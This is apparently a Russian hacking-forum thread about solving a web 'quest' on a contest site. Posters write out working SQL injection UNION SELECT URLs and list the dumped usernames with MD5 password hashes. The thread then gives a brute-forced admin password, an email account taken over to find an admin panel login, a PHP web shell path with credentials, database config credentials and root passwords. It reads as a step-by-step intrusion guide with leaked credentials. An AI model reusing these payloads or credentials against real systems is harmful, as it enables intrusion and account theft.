новый квест -- теперь от gfs
 

http://www.gfs-competition.net/index.php

а где написано что это квест? а какое задание?

написано тут http://www.gfs-team.ru/?act=koncurs

и тут http://www.gfs-team.ru/

Видимо, вот оно, quest/задание:

_http://www.gfs-competition.net/index.php?act=news&id=(5

:D ...

ИМХО, странный quest какой-то... Шо за архив, ХЗ... Пока, кроме вот этого:

_http://www.gfs-competition.net/admin/index.php (есть подозрение на "login: FSadmin"), и
_http://gfs-konkurs.firstvds.ru/

больше ничего раздобыть не удалось... Либо я с утра туплю, либо...

http://www.gfs-competition.net/admin/upload/
лолеги.

Что больше никто ниче не нашол ?

С помощьюскули получаем инфуиз БД

http://www.gfs-competition.net/index.php?act=news&id=-1/**/UNION/**/SELECT/**/1,name,pass,e_mail,5/**/from/**/users/**/LIMIT/**/1,1/*


FSadmin:a7551578824c35ccd3565fc3459456fb
Rash:ee24d27f87948cb213619ad4fddd6819
ravshan22:ee24d27f87948cb213619ad4fddd6819
alex05:e93821493d5341f2644919dff86049e8
daga:68880cf4a81608b3225ed8c79a935dae
fargus:ee24d27f87948cb213619ad4fddd6819
oleg:07840410f453190105cd3d00060afef4
Pfilipp:0d8020b23e0b7b208c227288036c125e
Dionir:5dbc4c6b18b210b6d0aa7427e7616b34
EDO:68880cf4a81608b3225ed8c79a935dae
Jurhen:ee24d27f87948cb213619ad4fddd6819
Sign:ee24d27f87948cb213619ad4fddd6819
StoRM:a2eec1f40c20a34342391785b1c8ca2b
kras:07840410f453190105cd3d00060afef4
MirAn:816119b15218af2db213db7be5441d38
Martin:68880cf4a81608b3225ed8c79a935dae
ventura:ca211094bc8c3244ce1baa821abc9aec
bob:816119b15218af2db213db7be5441d38
Sanek:ee24d27f87948cb213619ad4fddd6819

Админ: FSadmin
Брутим, получаем noway1
(спасибо брутеру mildworm =) )

Далее видим инфу по челу: email:fsadmin@mail.ru

Заходим на почту с помощью извесных нам данных
(СПАСИБО PSalm69 за идею с мэйлом !!!!!)

Пробезаем по всем мылам и в черновиках находим заветные
Пароль к админке: worker:beman

Идем в админку http://www.gfs-competition.net/admin/
и качаем архив, в итоге получаем код, который надо показать админам в доказательство прохождения 546460

Спасибо за внимание =)

P.S. забыл про приятнуюмалочь )
шелл
http://www.gfs-competition.net/admin/files/phpshell.php
root:unicorn

Все прошли )) можете не тупить над этим

Просто ради интереса, хэши с помощью sql вытащили ?
Какой код был ?

ну типо того

www.gfs-competition.net/index.php?act=news&id=666/**/union/**/select/**/1,name,pass,4,5/**/from/**/users/**/limit/**/9,10/*

читаем мой пост выше
https://forum.antichat.ru/showpost.php?p=263483&postcount=8

Ну и добиваем до конца
http://www.gfs-competition.net/admin/files/txt.php

<?
$host="localhost";
$user="konkurs";
$pass="xuitam";
$db="konkurs";
?>

http://www.gfs-competition.net/index.php?act=news&id=5


http://securityprobe.net/other/trash/hack.gif

Совсем забыл рута дать )
root:nwqghmt

Маднет, Пслам!! Зачет!
наша школа :))

А можно поподробнее - откуда это?

из скули.

да ... не догадался =\

5 балов!!!!!!

А каким эксплоитом пользовались для получения рута ? =)

ну чтож квестенг был пройден ...
Полное ПРАВИЛЬНОЕ прохождение лежит тут